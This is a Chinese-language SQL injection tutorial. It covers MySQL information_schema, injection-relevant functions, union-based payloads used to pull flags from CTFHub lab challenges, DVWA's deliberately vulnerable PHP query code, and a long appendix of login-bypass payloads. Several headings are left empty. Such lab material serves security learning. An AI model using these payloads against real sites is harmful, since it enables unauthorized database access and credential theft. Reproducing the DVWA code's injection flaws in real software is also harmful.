SQL_Injection
一、SQL_Injection简介
1、SQL注入简介
SQL注入
即是指 Web应用程序
对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的 SQL语句
,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
[https://baike.baidu.com/item/sql%E6%B3%A8%E5%85%A5/150289?fr=aladdin]:
2、SQL定义
SQL
是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将 Web
页面的原 URL
、 表单域
或 数据包
输入的参数,修改拼接成 SQL
语句,传递给 Web服务器
,进而传给数据库服务器以执行数据库命令。如 Web应用程序
的开发人员对用户所输入的 数据
或 cookie
等内容不进行 过滤
或 验证
(即存在注入点)就直接传输给数据库,就可能导致拼接的 SQL
被执行,获取对数据库的信息以及提权,发生 SQL注入
攻击。
3、原理
SQL注入
攻击是通过操作输入来修改 SQL语句
,用以达到执行代码对 WEB服务器
进行攻击的方法。简单的说就是在 post/get
web表单
、输入域名或页面请求的查询字符串中插入 SQL命令
,最终使Web服务器
执行恶意命令的过程。可以通过一个例子简单说明SQL注入
攻击。假设某网站页面显示时URL为 http://www.example.com?test=123
,此时URL实际向服务器传递了值为 123
的变量 test
,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的 SQL语句
并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造 SQL语句
,用来创建所需的应用,这种情况下 SQL语句
在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的 SQL语句
,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入
攻击留下了很多的可乘之机。
二、MySQL储备知识
1、information_schema
首先需要知道在 MySQL 5.0
版本之后, MySQL
默认在数据库中存放了一个名为:information_schema
的数据库,在这个数据库中有大概 60
个表,其中我们需要记住的分别是 SCHEMATA
、TABLES
, COLUMNS
,这三者的名称、具体作用和需要记录的名称如下:
名称 | 作用 | 记录名称 |
---|---|---|
SCHEMETA |
存储当前用户创建的所有数据库的库名 | SCHEMA_NAME |
TABLES |
存储当前用户创建的所有数据库的库名和表名 | TABLE_SCHEMA TABLE_NAME |
COLUMNS |
存储当前用户创建的所有数据库的库名、表名、字段名 | TABLE_SCHEMA TABLE_NAME COLUMN_NAME |
这里举几个简单的例子:
1.1、查看当前 MySQL
中存在的数据库名
这里 schema_name
表示数据库名,information_schema.SCHEMATA
表示数据库中的 SCHEMATA
这个表
mysql> select schema_name from information_schema.SCHEMATA;
+--------------------+
| schema_name |
+--------------------+
| information_schema |
| free_proxy |
| mysql |
| performance_schema |
| proxies |
| python3 |
| shop |
| sys |
| valecalida |
| vulnhub |
+--------------------+
10 rows in set (0.00 sec)
1.2、查看某个数据库中的所有表信息
table_name
表示表名,table_schema
表示数据库名
mysql> select table_name from information_schema.TABLES where table_schema='python3';
+------------+
| table_name |
+------------+
| courses |
| userinfo |
+------------+
2 rows in set (0.00 sec)
1.3、查看指定数据库和表中的字段信息
column_name
表示字段名,table_schema
依旧表示表名,可以看到,下面的内容是把数据库中所有表的字段全部打印出来了
mysql> select column_name from information_schema.columns where table_schema='python3';
+-------------+
| column_name |
+-------------+
| id |
| student |
| class |
| score |
| id |
| name |
| pass |
| address |
| sex |
| age |
+-------------+
10 rows in set (0.00 sec)
分别查看,发现可以对应上
mysql> desc courses;
+---------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------+------------------+------+-----+---------+----------------+
| id | int(11) unsigned | NO | PRI | NULL | auto_increment |
| student | varchar(255) | YES | MUL | NULL | |
| class | varchar(255) | YES | | NULL | |
| score | int(255) | YES | | NULL | |
+---------+------------------+------+-----+---------+----------------+
4 rows in set (0.00 sec)
mysql> desc userinfo;
+---------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------+-------------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| name | varchar(30) | YES | | NULL | |
| pass | varchar(32) | YES | | NULL | |
| address | varchar(50) | YES | | NULL | |
| sex | tinyint(2) | YES | | NULL | |
| age | tinyint(3) | YES | | NULL | |
+---------+-------------+------+-----+---------+----------------+
6 rows in set (0.00 sec)
如果只需要查询一个表的话,只需将 table_schema
修改为 table_name
即可
2、常用的函数及运算符
2.1、函数部分
函数名称 | 函数功能 |
---|---|
system_user() | 查看系统用户名 |
user() | 用户名 |
current_user() | 当前用户名 |
session_user() | 连接到数据库的用户名 |
database() | 当前数据库名 |
version() | 数据库版本 |
@@datadir | 数据路径 |
@@basedir | 数据库安装路径 |
@@version_compile_os | 操作系统类型 |
count(*) | 计算数量 |
concat() | 指定分隔符连接两列名 |
concat_ws() | 指定分隔符连接两列名 |
group_concat() | 默认以逗号连接某列中所有数据 |
into outfile | 往外写文件 |
load_file | 读取文件 |
ascii() | 获取字符的ASCII码值 |
ord() | 获取字符串中第一个字符的ASCII码值 |
mid() | 获取字符串中的一部分,共三个参数,需指定位置 |
substr() | 获取字符串中的一部分,共三个参数,需指定位置 |
length() | 获取字符串长度 |
left() | 获取字符串最左边的N个字符,N人为指定 |
floor() | 返回小于等于N的最大整数 |
rand() | 返回0到1之间的一个随机数 |
sleep() | 让此语句运行N秒 |
if() | if(1>2,2,3)”1>2”为表达式,如果表达式为真,输出第二个参数,否则输出第三个 |
char() | 将数值返回为ASCII码值 |
strcmp() | strcmp(‘a’,’b)如果a>b为真则返回1,相同返回0,为假返回-1 |
ifnull() | 如果第一个值为null,返回第二个值,否则返回第一个值 |
exp() | 返回e的N次方 |
2.2、运算符部分
2.2.1、算数运算符
符号 | 作用 |
---|---|
+ | 加法运算 |
- | 减法运算 |
* | 乘法运算 |
/、DIV | 除法运算 |
%、MOD | 求余运算 |
2.2.2、比较运算符
符号 | 作用 |
---|---|
> | 大于 |
< | 小于 |
= | 等于 |
>= | 大于等于 |
\<= | 小于等于 |
!=或<> | 不等于 |
IS NULL | 为空 |
IS NOT NULL | 不为空 |
BETWEEN AND | 在…之间 |
IN | 包含 |
NOT IN | 不包含 |
LIKE | 模式匹配 |
NOT LIKE | 模式匹配 |
REGEXP | 正则表达式 |
2.2.3、逻辑运算符
符号 | 作用 |
---|---|
&&或AND | 与 |
!或NOT | 非1 |
||或OR | 或 |
XOR | 异或 |
3、从MySQL语句看SQL注入语句
3.1、常见语句逻辑分析
3.1.1、逻辑运算符语句
mysql> select id,name from userinfo where id=1;
+----+--------+
| id | name |
+----+--------+
| 1 | valeca |
+----+--------+
1 row in set (0.00 sec)
mysql> select id,name from userinfo where id=1 and 1=1;
+----+--------+
| id | name |
+----+--------+
| 1 | valeca |
+----+--------+
1 row in set (0.00 sec)
mysql> select id,name from userinfo where id=1 and 1=2;
Empty set (0.00 sec)
当使用语句 select id,name from userinfo where id=1;
时可以清楚的看到该语句执行成功了,当后面追加了 and 1=1
时,本身 1=1
就是真的,所以真与真得真,该语句可以执行成功且有结果;而当追加 and 1=2
时,本身 1=2
就是假的,那么真与假必定为假,所以没有得到输出结果。这里用一个图做直观的认知。
3.1.2、万能密码
这里只分析一个 'or '1'='1
,下面是自己画的一个理解图
其它还有很多万能密码在附录一中,就不一一解释了,只要能明白逻辑结构就行
3.2、UNION操作符
3.2.1、UNION操作符简介
UNION操作符用于合并两个或多个SELECT语句的结果集。UNION内部的SELECT语句必须拥有相同数量的列,列也必须拥有相似的数据类型,同时,每条SELECT语句中的列的顺序必须相同。,默认情况下,UNION操作符选取不同的值,如果允许重复的值,可以使用UNION ALL
mysql> select username from users union select password from users;
+------------+
| username |
+------------+
| Dumb |
| Angelina |
| Dummy |
| secure |
| stupid |
| superman |
| batman |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dhakkan |
| admin4 |
| I-kill-you |
| p@ssword |
| crappy |
| stupidity |
| genious |
| mob!le |
| dumbo |
+------------+
20 rows in set (0.00 sec)
这里也尝试查询一下第一列
mysql> select username from users union select username from users;
+----------+
| username |
+----------+
| Dumb |
| Angelina |
| Dummy |
| secure |
| stupid |
| superman |
| batman |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dhakkan |
| admin4 |
+----------+
13 rows in set (0.00 sec)
发现后面的语句相当于没有执行,尝试加上 ALL 关键字
mysql> select username from users union all select username from users;
+----------+
| username |
+----------+
| Dumb |
| Angelina |
| Dummy |
| secure |
| stupid |
| superman |
| batman |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dhakkan |
| admin4 |
| Dumb |
| Angelina |
| Dummy |
| secure |
| stupid |
| superman |
| batman |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dhakkan |
| admin4 |
+----------+
26 rows in set (0.00 sec)
这时发现 UNION ALL 查询生效了
3.2.1、UNION操作符应用场景
- 只有最后一个SELECT子句允许有ORDER BY
- 只有最后一个SELECT子句允许有LIMIT
- 只要UNION连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果
- 注入点页面有回显
3.3、UNION注入方法
三、SQL注入基本流程
1、寻找注入点
四、常见的SQL注入类型浅析
1、整数型注入
2 and 1=2 union select 1,version() --> 10.3.22-MariaDB-0+deb10u1
2 and 1=2 union select 1,database() --> sqli
2 and 1=2 union select 1,user() --> root@localhost
2 and 1=2 union select 1,table_name from information_schema.TABLES where table_schema='sqli' limit 0,1 --> news
2 and 1=2 union select 1,table_name from information_schema.TABLES where table_schema='sqli' limit 1,2 --> flag
2 and 1=2 union select 1,group_concat(table_name) from information_schema.TABLES where table_schema='sqli' --> news,flag
2 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' --> id,data,flag
2 and 1=2 union select 1,flag from sqli.flag --> ctfhub{8e3b9da4a0d6295243d5b20cffaf68839b3f3528}
2、字符串注入
3、报错型注入
4、布尔盲注
5、时间盲注
6、MySQL下的其他注入类型
6.1、cookie注入
id=2 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli';
# xeavlaiqoh
2 and 1=2 union select 1,column_name from information_schema.columns where table_schema='sqli'
#pctvkvzivi
2 and 1=2 union select 1,pctvkvzivi from sqli.xeavlaiqoh;
ctfhub{6de61082991379a8aebb77b64e6b68cf1aeef5d5}
2、UA注入
3、Refer注入
4、二次注入
5、Where后注入
6、AND/OR注入
7、ORDER BY注入
8、UPDATE注入
9、Insert注入
10、过滤空格注入
五、案例详解
1、DVWA
1.1、SQLI
1.1.1、Low
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
$id = $_REQUEST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
$i++;
}
mysql_close();
}
?>
1.1.2、Medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
$i++;
}
}
?>
1.1.3、High
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
$id = $_SESSION[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
$i++;
}
mysql_close();
}
?>
附录
附录一、万能密码字典
"or "a"="a
'.).or.('.a.'='.a
or 1=1--
'or 1=1--
a'or' 1=1--
"or 1=1--
'or.'a.'='a
"or"="a'='a
'or''='
'or'='or'
admin'or 1=1#
admin'/*
aaaa*/'
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
"or "a"="a
')or('a'='a
or 1=1–
'or 1=1–
a'or' 1=1–
"or 1=1–
'or'a'='a
"or"="a'='a
'or"='
'or'='or'
1 or '1'='1'=1
1 or '1'='1′ or 1=1
'OR 1=1%00
"or 1=1%00
'xor
admin' or 'a'='a
'or 1=1/*
something
'OR '1'='1
1'or'1'='
admin' OR 1=1/*
' or 1=1#
'=0#
'>-1#
'<1#
1'<99#
'=0=1#
'<=>0#
'=0=1=1=1=1=1#
'=1<>1#
'<>1#
1'<>99999#
'!=2!=3!=4#
'|0#
'&0#
'^0#
'<<0#
'>>0#
'&''#
'%11&1#
'&1&1#
'|0&1#
'<<0|0#
'<<0>>0#
'*9#
'/9#
'%9#
'+0#
'-0#
'+2+5-7#
'+0+0-0#
'-0-0-0-0-0#
'*9*8*7*6*5#
'/2/3/4#
'%12%34%56%78#
'/**/+/**/0#
'-----0#
'+++0+++++0*0#
'<hex(1)#
'=left(0x30,1)#
'=right(0,1)#
'!=curdate()#
'-reverse(0)#
'=ltrim(0)#
'<abs(1)#
'*round(1,1)#
'&left(0,0)#
'*round(0,1)*round(0,1)#
'=upper (0)#
' <1 and 1#
'xor 1#
'div 1#
'is not null#
admin' order by'
admin' group by'
'like 0#
'between 1 and 1#
'regexp 1#
'='
'<>'1
'>1='
0'='0
'<1 and 1>'
'<>ifnull(1,2)='1
'=round(0,1)='1
'*0*'
'+'
'-'
'+1-1-'
'+(0-0)#
'=0<>((reverse(1))-(reverse(1)))#
'<(8*7)*(6*5)*(4*3)#
'&(1+1)-2#
'>(0-100)#
' or 1=1#
' or '
' || '